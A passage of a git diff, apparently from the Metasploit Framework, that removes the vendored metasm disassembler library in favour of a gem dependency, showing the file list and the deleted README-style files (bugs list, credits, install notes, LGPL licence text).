lib/metasm/metasm/disassemble_api.rb | 1843 -------- lib/metasm/metasm/dynldr.rb | 1418 ------ lib/metasm/metasm/encode.rb | 342 -- lib/metasm/metasm/exe_format/a_out.rb | 197 - lib/metasm/metasm/exe_format/autoexe.rb | 83 - lib/metasm/metasm/exe_format/bflt.rb | 219 - lib/metasm/metasm/exe_format/coff.rb | 463 -- lib/metasm/metasm/exe_format/coff_decode.rb | 934 ---- lib/metasm/metasm/exe_format/coff_encode.rb | 1076 ----- lib/metasm/metasm/exe_format/dex.rb | 465 -- lib/metasm/metasm/exe_format/dol.rb | 146 - lib/metasm/metasm/exe_format/elf.rb | 959 ---- lib/metasm/metasm/exe_format/elf_decode.rb | 1087 ----- lib/metasm/metasm/exe_format/elf_encode.rb | 1466 ------ lib/metasm/metasm/exe_format/gb.rb | 65 - lib/metasm/metasm/exe_format/macho.rb | 1015 ----- lib/metasm/metasm/exe_format/main.rb | 251 - lib/metasm/metasm/exe_format/mz.rb | 165 - lib/metasm/metasm/exe_format/nds.rb | 175 - lib/metasm/metasm/exe_format/pe.rb | 473 -- lib/metasm/metasm/exe_format/pyc.rb | 167 - lib/metasm/metasm/exe_format/serialstruct.rb | 299 -- lib/metasm/metasm/exe_format/shellcode.rb | 118 - lib/metasm/metasm/exe_format/shellcode_rwx.rb | 114 - lib/metasm/metasm/exe_format/swf.rb | 205 - lib/metasm/metasm/exe_format/xcoff.rb | 167 - lib/metasm/metasm/exe_format/zip.rb | 335 -- lib/metasm/metasm/gui.rb | 13 - lib/metasm/metasm/gui/cstruct.rb | 367 -- lib/metasm/metasm/gui/dasm_coverage.rb | 199 - lib/metasm/metasm/gui/dasm_decomp.rb | 356 -- lib/metasm/metasm/gui/dasm_funcgraph.rb | 103 - lib/metasm/metasm/gui/dasm_graph.rb | 1695 ------- lib/metasm/metasm/gui/dasm_hex.rb | 547 --- lib/metasm/metasm/gui/dasm_listing.rb | 614 --- lib/metasm/metasm/gui/dasm_main.rb | 1163 ----- lib/metasm/metasm/gui/dasm_opcodes.rb | 277 -- lib/metasm/metasm/gui/debug.rb | 1294 ------ lib/metasm/metasm/gui/gtk.rb | 1006 ---- lib/metasm/metasm/gui/qt.rb | 505 -- lib/metasm/metasm/gui/win32.rb | 3141 ------------- lib/metasm/metasm/gui/x11.rb | 621 --- lib/metasm/metasm/os/gnu_exports.rb | 270 -- lib/metasm/metasm/os/linux.rb | 1589 ------- lib/metasm/metasm/os/main.rb | 330 -- lib/metasm/metasm/os/remote.rb | 616 --- lib/metasm/metasm/os/windows.rb | 2117 --------- lib/metasm/metasm/os/windows_exports.rb | 745 --- lib/metasm/metasm/parse.rb | 878 ---- lib/metasm/metasm/parse_c.rb | 4043 ----------------- lib/metasm/metasm/preprocessor.rb | 1292 ------ lib/metasm/metasm/render.rb | 106 - lib/metasm/misc/bottleneck.rb | 61 - lib/metasm/misc/cheader-findpppath.rb | 58 - lib/metasm/misc/hexdiff.rb | 74 - lib/metasm/misc/hexdump.rb | 56 - lib/metasm/misc/lint.rb | 58 - lib/metasm/misc/metasm-all.rb | 13 - lib/metasm/misc/objdiff.rb | 47 - lib/metasm/misc/objscan.rb | 40 - lib/metasm/misc/pdfparse.rb | 661 --- lib/metasm/misc/ppc_pdf2oplist.rb | 192 - lib/metasm/misc/tcp_proxy_hex.rb | 84 - lib/metasm/misc/txt2html.rb | 442 -- lib/metasm/samples/a.out.rb | 31 - lib/metasm/samples/asmsyntax.rb | 77 - lib/metasm/samples/bindiff.rb | 554 --- lib/metasm/samples/compilation-steps.rb | 49 - lib/metasm/samples/cparser_makestackoffset.rb | 55 - lib/metasm/samples/dasm-backtrack.rb | 38 - lib/metasm/samples/dasm-plugins/bindiff.rb | 15 - lib/metasm/samples/dasm-plugins/bookmark.rb | 133 - .../samples/dasm-plugins/c_constants.rb | 57 - .../dasm-plugins/colortheme_solarized.rb | 125 - .../samples/dasm-plugins/cppobj_funcall.rb | 60 - lib/metasm/samples/dasm-plugins/dasm_all.rb | 70 - .../samples/dasm-plugins/demangle_cpp.rb | 31 - .../samples/dasm-plugins/deobfuscate.rb | 251 - lib/metasm/samples/dasm-plugins/dump_text.rb | 35 - .../samples/dasm-plugins/export_graph_svg.rb | 86 - lib/metasm/samples/dasm-plugins/findgadget.rb | 75 - lib/metasm/samples/dasm-plugins/hl_opcode.rb | 32 - .../samples/dasm-plugins/hotfix_gtk_dbg.rb | 19 - lib/metasm/samples/dasm-plugins/imm2off.rb | 34 - .../samples/dasm-plugins/match_libsigs.rb | 93 - lib/metasm/samples/dasm-plugins/patch_file.rb | 95 - .../samples/dasm-plugins/scanfuncstart.rb | 36 - lib/metasm/samples/dasm-plugins/scanxrefs.rb | 26 - lib/metasm/samples/dasm-plugins/selfmodify.rb | 197 - .../samples/dasm-plugins/stringsxrefs.rb | 28 - lib/metasm/samples/dasmnavig.rb | 318 -- lib/metasm/samples/dbg-apihook.rb | 243 - lib/metasm/samples/dbg-plugins/heapscan.rb | 283 -- .../heapscan/compiled_heapscan_lin.c | 155 - .../heapscan/compiled_heapscan_win.c | 128 - .../samples/dbg-plugins/heapscan/graphheap.rb | 616 --- .../samples/dbg-plugins/heapscan/heapscan.rb | 709 --- .../samples/dbg-plugins/heapscan/winheap.h | 174 - .../samples/dbg-plugins/heapscan/winheap7.h | 307 -- lib/metasm/samples/dbg-plugins/trace_func.rb | 214 - lib/metasm/samples/dbghelp.rb | 143 - lib/metasm/samples/disassemble-gui.rb | 132 - lib/metasm/samples/disassemble.rb | 158 - lib/metasm/samples/dump_upx.rb | 107 - lib/metasm/samples/dynamic_ruby.rb | 1938 -------- lib/metasm/samples/elf_list_needed.rb | 46 - lib/metasm/samples/elf_listexports.rb | 33 - lib/metasm/samples/elfencode.rb | 25 - lib/metasm/samples/exeencode.rb | 129 - .../samples/factorize-headers-elfimports.rb | 77 - .../samples/factorize-headers-peimports.rb | 109 - lib/metasm/samples/factorize-headers.rb | 43 - lib/metasm/samples/generate_libsigs.rb | 102 - lib/metasm/samples/hotfix_gtk_dbg.rb | 59 - lib/metasm/samples/install_win_env.rb | 78 - lib/metasm/samples/lindebug.rb | 718 --- lib/metasm/samples/linux_injectsyscall.rb | 95 - lib/metasm/samples/machoencode.rb | 31 - lib/metasm/samples/metasm-shell.rb | 90 - lib/metasm/samples/pe-hook.rb | 69 - lib/metasm/samples/pe-ia32-cpuid.rb | 203 - lib/metasm/samples/pe-mips.rb | 35 - lib/metasm/samples/pe-shutdown.rb | 78 - lib/metasm/samples/pe-testrelocs.rb | 51 - lib/metasm/samples/pe-testrsrc.rb | 24 - lib/metasm/samples/pe_listexports.rb | 31 - lib/metasm/samples/peencode.rb | 19 - lib/metasm/samples/peldr.rb | 494 -- lib/metasm/samples/preprocess-flatten.rb | 19 - lib/metasm/samples/r0trace.rb | 308 -- lib/metasm/samples/scan_pt_gnu_stack.rb | 54 - lib/metasm/samples/scanpeexports.rb | 62 - lib/metasm/samples/shellcode-c.rb | 40 - lib/metasm/samples/shellcode-dynlink.rb | 146 - lib/metasm/samples/source.asm | 34 - lib/metasm/samples/struct_offset.rb | 47 - lib/metasm/samples/testpe.rb | 32 - lib/metasm/samples/testraw.rb | 45 - lib/metasm/samples/win32genloader.rb | 132 - lib/metasm/samples/win32hooker-advanced.rb | 169 - lib/metasm/samples/win32hooker.rb | 96 - lib/metasm/samples/win32livedasm.rb | 33 - lib/metasm/samples/win32remotescan.rb | 133 - lib/metasm/samples/wintrace.rb | 92 - lib/metasm/tests/all.rb | 8 - lib/metasm/tests/arc.rb | 26 - lib/metasm/tests/dasm.rb | 39 - lib/metasm/tests/dynldr.rb | 53 - lib/metasm/tests/encodeddata.rb | 132 - lib/metasm/tests/expression.rb | 55 - lib/metasm/tests/graph_layout.rb | 285 -- lib/metasm/tests/ia32.rb | 110 - lib/metasm/tests/mips.rb | 116 - lib/metasm/tests/parse_c.rb | 239 - lib/metasm/tests/preprocessor.rb | 269 -- lib/metasm/tests/x86_64.rb | 102 - metasploit-framework.gemspec | 2 + 253 files changed, 3 insertions(+), 79165 deletions(-) delete mode 100644 lib/metasm.rb delete mode 100644 lib/metasm/.hgtags delete mode 100644 lib/metasm/BUGS delete mode 100644 lib/metasm/CREDITS delete mode 100644 lib/metasm/INSTALL delete mode 100644 lib/metasm/LICENCE delete mode 100644 lib/metasm/README delete mode 100644 lib/metasm/TODO delete mode 100644 lib/metasm/metasm.rb delete mode 100644 lib/metasm/metasm/compile_c.rb delete mode 100644 lib/metasm/metasm/cpu/arc.rb delete mode 100644 lib/metasm/metasm/cpu/arc/decode.rb delete mode 100644 lib/metasm/metasm/cpu/arc/main.rb delete mode 100644 lib/metasm/metasm/cpu/arc/opcodes.rb delete mode 100644 lib/metasm/metasm/cpu/arm.rb delete mode 100644 lib/metasm/metasm/cpu/arm/debug.rb delete mode 100644 lib/metasm/metasm/cpu/arm/decode.rb delete mode 100644 lib/metasm/metasm/cpu/arm/encode.rb delete mode 100644 lib/metasm/metasm/cpu/arm/main.rb delete mode 100644 lib/metasm/metasm/cpu/arm/opcodes.rb delete mode 100644 lib/metasm/metasm/cpu/arm/parse.rb delete mode 100644 lib/metasm/metasm/cpu/arm/render.rb delete mode 100644 lib/metasm/metasm/cpu/bpf.rb delete mode 100644 lib/metasm/metasm/cpu/bpf/decode.rb delete mode 100644 lib/metasm/metasm/cpu/bpf/main.rb delete mode 100644 lib/metasm/metasm/cpu/bpf/opcodes.rb delete mode 100644 lib/metasm/metasm/cpu/bpf/render.rb delete mode 100644 lib/metasm/metasm/cpu/cy16.rb delete mode 100644 lib/metasm/metasm/cpu/cy16/decode.rb delete mode 100644 lib/metasm/metasm/cpu/cy16/main.rb delete mode 100644 lib/metasm/metasm/cpu/cy16/opcodes.rb delete mode 100644 lib/metasm/metasm/cpu/cy16/render.rb delete mode 100644 lib/metasm/metasm/cpu/dalvik.rb delete mode 100644 lib/metasm/metasm/cpu/dalvik/decode.rb delete mode 100644 lib/metasm/metasm/cpu/dalvik/main.rb delete mode 100644 lib/metasm/metasm/cpu/dalvik/opcodes.rb delete mode 100644 lib/metasm/metasm/cpu/ia32.rb delete mode 100644 lib/metasm/metasm/cpu/ia32/compile_c.rb delete mode 100644 lib/metasm/metasm/cpu/ia32/debug.rb delete mode 100644 lib/metasm/metasm/cpu/ia32/decode.rb delete mode 100644 lib/metasm/metasm/cpu/ia32/decompile.rb delete mode 100644 lib/metasm/metasm/cpu/ia32/encode.rb delete mode 100644 lib/metasm/metasm/cpu/ia32/main.rb delete mode 100644 lib/metasm/metasm/cpu/ia32/opcodes.rb delete mode 100644 lib/metasm/metasm/cpu/ia32/parse.rb delete mode 100644 lib/metasm/metasm/cpu/ia32/render.rb delete mode 100644 lib/metasm/metasm/cpu/mips.rb delete mode 100644 lib/metasm/metasm/cpu/mips/compile_c.rb delete mode 100644 lib/metasm/metasm/cpu/mips/debug.rb delete mode 100644 lib/metasm/metasm/cpu/mips/decode.rb delete mode 100644 lib/metasm/metasm/cpu/mips/encode.rb delete mode 100644 lib/metasm/metasm/cpu/mips/main.rb delete mode 100644 lib/metasm/metasm/cpu/mips/opcodes.rb delete mode 100644 lib/metasm/metasm/cpu/mips/parse.rb delete mode 100644 lib/metasm/metasm/cpu/mips/render.rb delete mode 100644 lib/metasm/metasm/cpu/msp430.rb delete mode 100644 lib/metasm/metasm/cpu/msp430/decode.rb delete mode 100644 lib/metasm/metasm/cpu/msp430/main.rb delete mode 100644 lib/metasm/metasm/cpu/msp430/opcodes.rb delete mode 100644 lib/metasm/metasm/cpu/pic16c/decode.rb delete mode 100644 lib/metasm/metasm/cpu/pic16c/main.rb delete mode 100644 lib/metasm/metasm/cpu/pic16c/opcodes.rb delete mode 100644 lib/metasm/metasm/cpu/ppc.rb delete mode 100644 lib/metasm/metasm/cpu/ppc/decode.rb delete mode 100644 lib/metasm/metasm/cpu/ppc/decompile.rb delete mode 100644 lib/metasm/metasm/cpu/ppc/encode.rb delete mode 100644 lib/metasm/metasm/cpu/ppc/main.rb delete mode 100644 lib/metasm/metasm/cpu/ppc/opcodes.rb delete mode 100644 lib/metasm/metasm/cpu/ppc/parse.rb delete mode 100644 lib/metasm/metasm/cpu/python.rb delete mode 100644 lib/metasm/metasm/cpu/python/decode.rb delete mode 100644 lib/metasm/metasm/cpu/python/main.rb delete mode 100644 lib/metasm/metasm/cpu/python/opcodes.rb delete mode 100644 lib/metasm/metasm/cpu/sh4.rb delete mode 100644 lib/metasm/metasm/cpu/sh4/decode.rb delete mode 100644 lib/metasm/metasm/cpu/sh4/main.rb delete mode 100644 lib/metasm/metasm/cpu/sh4/opcodes.rb delete mode 100644 lib/metasm/metasm/cpu/x86_64.rb delete mode 100644 lib/metasm/metasm/cpu/x86_64/compile_c.rb delete mode 100644 lib/metasm/metasm/cpu/x86_64/debug.rb delete mode 100644 lib/metasm/metasm/cpu/x86_64/decode.rb delete mode 100644 lib/metasm/metasm/cpu/x86_64/encode.rb delete mode 100644 lib/metasm/metasm/cpu/x86_64/main.rb delete mode 100644 lib/metasm/metasm/cpu/x86_64/opcodes.rb delete mode 100644 lib/metasm/metasm/cpu/x86_64/parse.rb delete mode 100644 lib/metasm/metasm/cpu/x86_64/render.rb delete mode 100644 lib/metasm/metasm/cpu/z80.rb delete mode 100644 lib/metasm/metasm/cpu/z80/decode.rb delete mode 100644 lib/metasm/metasm/cpu/z80/main.rb delete mode 100644 lib/metasm/metasm/cpu/z80/opcodes.rb delete mode 100644 lib/metasm/metasm/cpu/z80/render.rb delete mode 100644 lib/metasm/metasm/debug.rb delete mode 100644 lib/metasm/metasm/decode.rb delete mode 100644 lib/metasm/metasm/decompile.rb delete mode 100644 lib/metasm/metasm/disassemble.rb delete mode 100644 lib/metasm/metasm/disassemble_api.rb delete mode 100644 lib/metasm/metasm/dynldr.rb delete mode 100644 lib/metasm/metasm/encode.rb delete mode 100644 lib/metasm/metasm/exe_format/a_out.rb delete mode 100644 lib/metasm/metasm/exe_format/autoexe.rb delete mode 100644 lib/metasm/metasm/exe_format/bflt.rb delete mode 100644 lib/metasm/metasm/exe_format/coff.rb delete mode 100644 lib/metasm/metasm/exe_format/coff_decode.rb delete mode 100644 lib/metasm/metasm/exe_format/coff_encode.rb delete mode 100644 lib/metasm/metasm/exe_format/dex.rb delete mode 100644 lib/metasm/metasm/exe_format/dol.rb delete mode 100644 lib/metasm/metasm/exe_format/elf.rb delete mode 100644 lib/metasm/metasm/exe_format/elf_decode.rb delete mode 100644 lib/metasm/metasm/exe_format/elf_encode.rb delete mode 100644 lib/metasm/metasm/exe_format/gb.rb delete mode 100644 lib/metasm/metasm/exe_format/macho.rb delete mode 100644 lib/metasm/metasm/exe_format/main.rb delete mode 100644 lib/metasm/metasm/exe_format/mz.rb delete mode 100644 lib/metasm/metasm/exe_format/nds.rb delete mode 100644 lib/metasm/metasm/exe_format/pe.rb delete mode 100644 lib/metasm/metasm/exe_format/pyc.rb delete mode 100644 lib/metasm/metasm/exe_format/serialstruct.rb delete mode 100644 lib/metasm/metasm/exe_format/shellcode.rb delete mode 100644 lib/metasm/metasm/exe_format/shellcode_rwx.rb delete mode 100644 lib/metasm/metasm/exe_format/swf.rb delete mode 100644 lib/metasm/metasm/exe_format/xcoff.rb delete mode 100644 lib/metasm/metasm/exe_format/zip.rb delete mode 100644 lib/metasm/metasm/gui.rb delete mode 100644 lib/metasm/metasm/gui/cstruct.rb delete mode 100644 lib/metasm/metasm/gui/dasm_coverage.rb delete mode 100644 lib/metasm/metasm/gui/dasm_decomp.rb delete mode 100644 lib/metasm/metasm/gui/dasm_funcgraph.rb delete mode 100644 lib/metasm/metasm/gui/dasm_graph.rb delete mode 100644 lib/metasm/metasm/gui/dasm_hex.rb delete mode 100644 lib/metasm/metasm/gui/dasm_listing.rb delete mode 100644 lib/metasm/metasm/gui/dasm_main.rb delete mode 100644 lib/metasm/metasm/gui/dasm_opcodes.rb delete mode 100644 lib/metasm/metasm/gui/debug.rb delete mode 100644 lib/metasm/metasm/gui/gtk.rb delete mode 100644 lib/metasm/metasm/gui/qt.rb delete mode 100644 lib/metasm/metasm/gui/win32.rb delete mode 100644 lib/metasm/metasm/gui/x11.rb delete mode 100644 lib/metasm/metasm/os/gnu_exports.rb delete mode 100644 lib/metasm/metasm/os/linux.rb delete mode 100644 lib/metasm/metasm/os/main.rb delete mode 100644 lib/metasm/metasm/os/remote.rb delete mode 100644 lib/metasm/metasm/os/windows.rb delete mode 100644 lib/metasm/metasm/os/windows_exports.rb delete mode 100644 lib/metasm/metasm/parse.rb delete mode 100644 lib/metasm/metasm/parse_c.rb delete mode 100644 lib/metasm/metasm/preprocessor.rb delete mode 100644 lib/metasm/metasm/render.rb delete mode 100644 lib/metasm/misc/bottleneck.rb delete mode 100644 lib/metasm/misc/cheader-findpppath.rb delete mode 100644 lib/metasm/misc/hexdiff.rb delete mode 100644 lib/metasm/misc/hexdump.rb delete mode 100644 lib/metasm/misc/lint.rb delete mode 100644 lib/metasm/misc/metasm-all.rb delete mode 100644 lib/metasm/misc/objdiff.rb delete mode 100644 lib/metasm/misc/objscan.rb delete mode 100644 lib/metasm/misc/pdfparse.rb delete mode 100644 lib/metasm/misc/ppc_pdf2oplist.rb delete mode 100644 lib/metasm/misc/tcp_proxy_hex.rb delete mode 100644 lib/metasm/misc/txt2html.rb delete mode 100644 lib/metasm/samples/a.out.rb delete mode 100644 lib/metasm/samples/asmsyntax.rb delete mode 100644 lib/metasm/samples/bindiff.rb delete mode 100644 lib/metasm/samples/compilation-steps.rb delete mode 100644 lib/metasm/samples/cparser_makestackoffset.rb delete mode 100644 lib/metasm/samples/dasm-backtrack.rb delete mode 100644 lib/metasm/samples/dasm-plugins/bindiff.rb delete mode 100644 lib/metasm/samples/dasm-plugins/bookmark.rb delete mode 100644 lib/metasm/samples/dasm-plugins/c_constants.rb delete mode 100644 lib/metasm/samples/dasm-plugins/colortheme_solarized.rb delete mode 100644 lib/metasm/samples/dasm-plugins/cppobj_funcall.rb delete mode 100644 lib/metasm/samples/dasm-plugins/dasm_all.rb delete mode 100644 lib/metasm/samples/dasm-plugins/demangle_cpp.rb delete mode 100644 lib/metasm/samples/dasm-plugins/deobfuscate.rb delete mode 100644 lib/metasm/samples/dasm-plugins/dump_text.rb delete mode 100644 lib/metasm/samples/dasm-plugins/export_graph_svg.rb delete mode 100644 lib/metasm/samples/dasm-plugins/findgadget.rb delete mode 100644 lib/metasm/samples/dasm-plugins/hl_opcode.rb delete mode 100644 lib/metasm/samples/dasm-plugins/hotfix_gtk_dbg.rb delete mode 100644 lib/metasm/samples/dasm-plugins/imm2off.rb delete mode 100644 lib/metasm/samples/dasm-plugins/match_libsigs.rb delete mode 100644 lib/metasm/samples/dasm-plugins/patch_file.rb delete mode 100644 lib/metasm/samples/dasm-plugins/scanfuncstart.rb delete mode 100644 lib/metasm/samples/dasm-plugins/scanxrefs.rb delete mode 100644 lib/metasm/samples/dasm-plugins/selfmodify.rb delete mode 100644 lib/metasm/samples/dasm-plugins/stringsxrefs.rb delete mode 100644 lib/metasm/samples/dasmnavig.rb delete mode 100644 lib/metasm/samples/dbg-apihook.rb delete mode 100644 lib/metasm/samples/dbg-plugins/heapscan.rb delete mode 100644 lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_lin.c delete mode 100644 lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_win.c delete mode 100644 lib/metasm/samples/dbg-plugins/heapscan/graphheap.rb delete mode 100644 lib/metasm/samples/dbg-plugins/heapscan/heapscan.rb delete mode 100644 lib/metasm/samples/dbg-plugins/heapscan/winheap.h delete mode 100644 lib/metasm/samples/dbg-plugins/heapscan/winheap7.h delete mode 100644 lib/metasm/samples/dbg-plugins/trace_func.rb delete mode 100644 lib/metasm/samples/dbghelp.rb delete mode 100644 lib/metasm/samples/disassemble-gui.rb delete mode 100644 lib/metasm/samples/disassemble.rb delete mode 100644 lib/metasm/samples/dump_upx.rb delete mode 100644 lib/metasm/samples/dynamic_ruby.rb delete mode 100644 lib/metasm/samples/elf_list_needed.rb delete mode 100644 lib/metasm/samples/elf_listexports.rb delete mode 100644 lib/metasm/samples/elfencode.rb delete mode 100644 lib/metasm/samples/exeencode.rb delete mode 100644 lib/metasm/samples/factorize-headers-elfimports.rb delete mode 100644 lib/metasm/samples/factorize-headers-peimports.rb delete mode 100644 lib/metasm/samples/factorize-headers.rb delete mode 100644 lib/metasm/samples/generate_libsigs.rb delete mode 100644 lib/metasm/samples/hotfix_gtk_dbg.rb delete mode 100644 lib/metasm/samples/install_win_env.rb delete mode 100644 lib/metasm/samples/lindebug.rb delete mode 100644 lib/metasm/samples/linux_injectsyscall.rb delete mode 100644 lib/metasm/samples/machoencode.rb delete mode 100644 lib/metasm/samples/metasm-shell.rb delete mode 100644 lib/metasm/samples/pe-hook.rb delete mode 100644 lib/metasm/samples/pe-ia32-cpuid.rb delete mode 100644 lib/metasm/samples/pe-mips.rb delete mode 100644 lib/metasm/samples/pe-shutdown.rb delete mode 100644 lib/metasm/samples/pe-testrelocs.rb delete mode 100644 lib/metasm/samples/pe-testrsrc.rb delete mode 100644 lib/metasm/samples/pe_listexports.rb delete mode 100644 lib/metasm/samples/peencode.rb delete mode 100644 lib/metasm/samples/peldr.rb delete mode 100644 lib/metasm/samples/preprocess-flatten.rb delete mode 100644 lib/metasm/samples/r0trace.rb delete mode 100644 lib/metasm/samples/scan_pt_gnu_stack.rb delete mode 100644 lib/metasm/samples/scanpeexports.rb delete mode 100644 lib/metasm/samples/shellcode-c.rb delete mode 100644 lib/metasm/samples/shellcode-dynlink.rb delete mode 100644 lib/metasm/samples/source.asm delete mode 100644 lib/metasm/samples/struct_offset.rb delete mode 100644 lib/metasm/samples/testpe.rb delete mode 100644 lib/metasm/samples/testraw.rb delete mode 100644 lib/metasm/samples/win32genloader.rb delete mode 100644 lib/metasm/samples/win32hooker-advanced.rb delete mode 100644 lib/metasm/samples/win32hooker.rb delete mode 100644 lib/metasm/samples/win32livedasm.rb delete mode 100644 lib/metasm/samples/win32remotescan.rb delete mode 100644 lib/metasm/samples/wintrace.rb delete mode 100644 lib/metasm/tests/all.rb delete mode 100644 lib/metasm/tests/arc.rb delete mode 100644 lib/metasm/tests/dasm.rb delete mode 100644 lib/metasm/tests/dynldr.rb delete mode 100644 lib/metasm/tests/encodeddata.rb delete mode 100644 lib/metasm/tests/expression.rb delete mode 100644 lib/metasm/tests/graph_layout.rb delete mode 100644 lib/metasm/tests/ia32.rb delete mode 100644 lib/metasm/tests/mips.rb delete mode 100644 lib/metasm/tests/parse_c.rb delete mode 100644 lib/metasm/tests/preprocessor.rb delete mode 100644 lib/metasm/tests/x86_64.rb diff --git a/Gemfile.lock b/Gemfile.lock index 8bac76b5b2..72c9bb462d 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -7,6 +7,7 @@ PATH bcrypt jsobfu (~> 0.2.0) json + metasm (~> 1.0.2) metasploit-concern (= 1.0.0) metasploit-model (= 1.0.0) metasploit-payloads (= 1.0.8) diff --git a/lib/metasm.rb b/lib/metasm.rb deleted file mode 100644 index db05c0b36e..0000000000 --- a/lib/metasm.rb +++ /dev/null @@ -1,2 +0,0 @@ -# Load a slightly tweaked METASM stub -require 'metasm/metasm' diff --git a/lib/metasm/.hgtags b/lib/metasm/.hgtags deleted file mode 100644 index 3025637434..0000000000 --- a/lib/metasm/.hgtags +++ /dev/null @@ -1,3 +0,0 @@ -71374080fcf5e7be3322ce56f062c29c984c577b sstic07 -f3bcc93471bf9186ed62edc1bef90bbe6614a0a3 metasm-0.1-rc1 -13bead20e76be749ecdb67096d9cb0847d69ad59 version 0.1 diff --git a/lib/metasm/BUGS b/lib/metasm/BUGS deleted file mode 100644 index 825cf4d0a2..0000000000 --- a/lib/metasm/BUGS +++ /dev/null @@ -1,11 +0,0 @@ -List of known bugs/missing features, in no particular order: - -PPC cpu cannot parse/encode code -Disassembler is sloooow -The GTK UI is quite sluggish too -Disassembler backtracker does weird things -Mach-O encoder does not work (binaries won't load on OSX) -ELF encoder may need tweaks to handle OpenBSD -Ia32 compile_c misses many features (divisions, bitfields), and needs a register allocator -Asm parser does not handle well ; comments (eg "foo ; */* blargimdead") (c-style comments are parsed before asm-style, so multiline /* after ; is bad) -The BUGS file is incomplete diff --git a/lib/metasm/CREDITS b/lib/metasm/CREDITS deleted file mode 100644 index e07a115f4f..0000000000 --- a/lib/metasm/CREDITS +++ /dev/null @@ -1,17 +0,0 @@ -N: Yoann GUILLOT -E: yoann at ofjj.net -D: Lead developper - -N: Julien TINNES -E: julien at cr0.org -D: Senior Product Manager -D: Ideas, bug hunting, Yoann-slapping -D: Metasploit integration - -N: Arnaud CORNET -E: arnaud.cornet at gmail.com -D: Initial ELF support - -N: Raphael RIGO -E: raphael at cr0.org -D: Initial MIPS support and misc stuff diff --git a/lib/metasm/INSTALL b/lib/metasm/INSTALL deleted file mode 100644 index e4a20b2f5c..0000000000 --- a/lib/metasm/INSTALL +++ /dev/null @@ -1,61 +0,0 @@ -Metasm is a pure ruby lib, and the core (metasm subdir) does not depend on any -ruby library (except the metasm/gui, which can use gtk2/qt). - -So the install is quite simple: - - -LOCAL INSTALLATION: - -Either modify your RUBYLIB environment variable to include the directory -containing metasm.rb -e.g. -under linux or cygwin: -if you downloaded metasm to $HOME/metasm, you should have a file named -$HOME/metasm/metasm.rb and need to add "export RUBYLIB=$RUBYLIB:~/metasm" to -~/.bash_profile - -under windows: -Add the path to the directory containing metasm.rb to the environment. -This is accessible through: rightclick on 'my computer', tab 'advanced', -environment. -If a line RUBYLIB exists, add ':/path/to/metasmdir' at the end, otherwise -create a new variable 'RUBYLIB' with value '/path/to/metasmdir' - - -SYSTEMWIDE INSTALLATION: - -You can also copy the metasm.rb and the metasm subdirectory (the one containing -ia32.rb and so on) under the ruby library path. -e.g. cp -a metasm.rb metasm /usr/local/lib/site_ruby/1.8 (linux) -select metasm.rb and metasm ; copy ; goto D:\apps\ruby18\lib\ruby\1.8\ ; paste -(replace D:\apps\ruby18 with the directory where you installed ruby) (win) - -Note that metasm may not work well with rubygems, so disable it if you have the -choice. - -For a global installation, if you intend to use the DynLdr class (eg to call -the native windows API), you should also run the metasm/dynldr.rb script on -install/update, which will generate an up-to-date dynldr.so binary ruby module. - - -TESTING: - -Once done, open a new session and type "ruby -r metasm -e 'p Metasm::VERSION'" -at a commandline prompt, it should print a single line with a number in it. - - -GUI: - -If you want to use the graphical interface (dbg/dasm), you need the ruby-gtk2 library. -Under linux, use your package manager to install ruby-gtk2 -e.g. for debian/ubuntu, type sudo apt-get install libgtk2-ruby - -Under windows, you'll need to install the GTK2 and the ruby bindings manually. -Please follow the instructions at: -http://ruby-gnome2.sourceforge.jp/hiki.cgi?Install+Guide+for+Windows - -To test, try to launch the script metasm/samples/disassemble-gui.rb (double -click on it), it should show a program selection window. Type 'c' to start -disassembling somewhere, and space to change to graph mode (see the script source -for more key bindings) - diff --git a/lib/metasm/LICENCE b/lib/metasm/LICENCE deleted file mode 100644 index 3b473dbfc0..0000000000 --- a/lib/metasm/LICENCE +++ /dev/null @@ -1,458 +0,0 @@ - GNU LESSER GENERAL PUBLIC LICENSE - Version 2.1, February 1999 - - Copyright (C) 1991, 1999 Free Software Foundation, Inc. - 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - -[This is the first released version of the Lesser GPL. It also counts - as the successor of the GNU Library Public License, version 2, hence - the version number 2.1.] - - Preamble - - The licenses for most software are designed to take away your -freedom to share and change it. By contrast, the GNU General Public -Licenses are intended to guarantee your freedom to share and change -free software--to make sure the software is free for all its users. - - This license, the Lesser General Public License, applies to some -specially designated software packages--typically libraries--of the -Free Software Foundation and other authors who decide to use it. You -can use it too, but we suggest you first think carefully about whether -this license or the ordinary General Public License is the better -strategy to use in any particular case, based on the explanations below. - - When we speak of free software, we are referring to freedom of use, -not price. Our General Public Licenses are designed to make sure that -you have the freedom to distribute copies of free software (and charge -for this service if you wish); that you receive source code or can get -it if you want it; that you can change the software and use pieces of -it in new free programs; and that you are informed that you can do -these things. - - To protect your rights, we need to make restrictions that forbid -distributors to deny you these rights or to ask you to surrender these -rights. These restrictions translate to certain responsibilities for -you if you distribute copies of the library or if you modify it. - - For example, if you distribute copies of the library, whether gratis -or for a fee, you must give the recipients all the rights that we gave -you. You must make sure that they, too, receive or can get the source -code. If you link other code with the library, you must provide -complete object files to the recipients, so that they can relink them -with the library after making changes to the library and recompiling -it. And you must show them these terms so they know their rights. - - We protect your rights with a two-step method: (1) we copyright the -library, and (2) we offer you this license, which gives you legal -permission to copy, distribute and/or modify the library. - - To protect each distributor, we want to make it very clear that -there is no warranty for the free library. Also, if the library is -modified by someone else and passed on, the recipients should know -that what they have is not the original version, so that the original -author's reputation will not be affected by problems that might be -introduced by others. - - Finally, software patents pose a constant threat to the existence of -any free program. We wish to make sure that a company cannot -effectively restrict the users of a free program by obtaining a -restrictive license from a patent holder. Therefore, we insist that -any patent license obtained for a version of the library must be -consistent with the full freedom of use specified in this license. - - Most GNU software, including some libraries, is covered by the -ordinary GNU General Public License. This license, the GNU Lesser -General Public License, applies to certain designated libraries, and -is quite different from the ordinary General Public License. We use -this license for certain libraries in order to permit linking those -libraries into non-free programs. - - When a program is linked with a library, whether statically or using -a shared library, the combination of the two is legally speaking a -combined work, a derivative of the original library. The ordinary -General Public License therefore permits such linking only if the -entire combination fits its criteria of freedom. The Lesser General -Public License permits more lax criteria for linking other code with -the library. - - We call this license the "Lesser" General Public License because it -does Less to protect the user's freedom than the ordinary General -Public License. It also provides other free software developers Less -of an advantage over competing non-free programs. These disadvantages -are the 